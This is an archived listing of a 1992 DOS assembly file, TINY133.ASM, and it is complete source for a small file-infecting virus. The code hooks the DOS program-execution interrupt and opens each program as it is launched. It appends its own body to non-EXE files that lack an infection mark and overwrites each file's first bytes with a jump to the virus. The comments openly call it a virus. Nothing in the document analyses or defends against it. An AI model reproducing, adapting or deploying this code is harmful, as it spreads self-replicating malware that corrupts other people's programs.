home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TINY133.ASM < prev    next >
Assembly Source File  |  1992-01-15  |  3KB  |  94 lines

  1. VSize=085h
  2.  
  3. Code            Segment
  4.                 Assume  CS:Code
  5.                 org     0
  6.                 db      4Dh
  7.                 jmp     Start
  8.  
  9.                 Org     600h
  10.  
  11. Bytes           db      0CDh,20h,90h,90h
  12.  
  13. Start:          mov     si, 0100h
  14.                 mov     bx, offset Int21
  15.                 mov     cx, 0050h
  16.                 mov     di, si
  17.                 add     si, [si+2]
  18.                 push    di
  19.                 movsw
  20.                 movsw
  21.                 mov     es, cx
  22.                 cmpsb
  23.                 je      StartFile
  24.                 dec     si
  25.                 dec     di
  26.         rep     movsw
  27.                 mov     es, cx
  28.                 xchg    ax, bx
  29.                 xchg    ax, cx
  30. Loop0:          xchg    ax, cx
  31.                 xchg    ax, word ptr es:[di-120h]
  32.                 stosw
  33.                 jcxz    Loop0
  34.                 xchg    ax, bx
  35. StartFile:
  36.                 push    ds
  37.                 pop     es
  38.                 ret
  39.  
  40. Int21:          cmp     ax, 4B00h
  41.                 jne     End21
  42. Exec:           push    ax 
  43.                 push    bx 
  44.                 push    dx
  45.                 push    ds
  46.                 push    es
  47.                 mov     ax, 3D02h
  48.                 call    DoInt21
  49.                 jc      EndExec
  50.                 cbw                     ;Zero AH
  51.                 cwd                     ;Zero DX
  52.                 mov     bx, si          ;Move handle to BX
  53.                 mov     ds, ax          ;Set DS and ES to 60h,
  54.                 mov     es, ax          ;the virus data segment
  55.                 mov     ah, 3Fh         ;Read first 4 bytes
  56.                 int     69h
  57.                 mov     al, 4Dh
  58.                 scasb                   ;Check for 4D5Ah or infected file mark
  59.                 je      Close           ;.EXE or already infected
  60.                 mov     al, 2
  61.                 call    LSeek       ;Seek to the end, SI now contains file size
  62.                 mov     cl, VSize       ;Virus size in CX, prepare to write
  63.                 int     69h             ;AH is 40h, i.e. Write operation
  64.                 mov     ax, 0E94Dh      ;Virus header in AX
  65.                 stosw                   ;Store it
  66.                 xchg    ax, si          ;Move file size in AX
  67.                 stosw                   ;Complete JMP instruction
  68.                 xchg    ax, dx          ;Zero AX
  69.                 call    LSeek           ;Seek to the beginning
  70.                 int     69h             ;AH is 40h, write the virus header
  71. Close:          mov     ah,3Eh          ;Close the file
  72.                 int     69h
  73. EndExec:        pop     es 
  74.                 pop     ds
  75.                 pop     dx
  76.                 pop     bx
  77.                 pop     ax
  78. End21:          jmp     dword ptr cs:[69h * 4]
  79.  
  80. LSeek:          mov     ah, 42h         ;Seek operation
  81.                 cwd                     ;Zero DX
  82. DoInt21:        xor     cx, cx          ;External entry for Open, zero cx
  83.                 int     69h
  84.                 mov     cl, 4           ;4 bytes will be read/written
  85.                 xchg    ax, si          ;Store AX in SI
  86.                 mov     ax, 4060h       ;Prepare AH for Write
  87.                 xor     di, di          ;Zero DI
  88.                 ret
  89.  
  90. VLen = $ - offset Bytes
  91.  
  92. Code    EndS
  93. End
  94.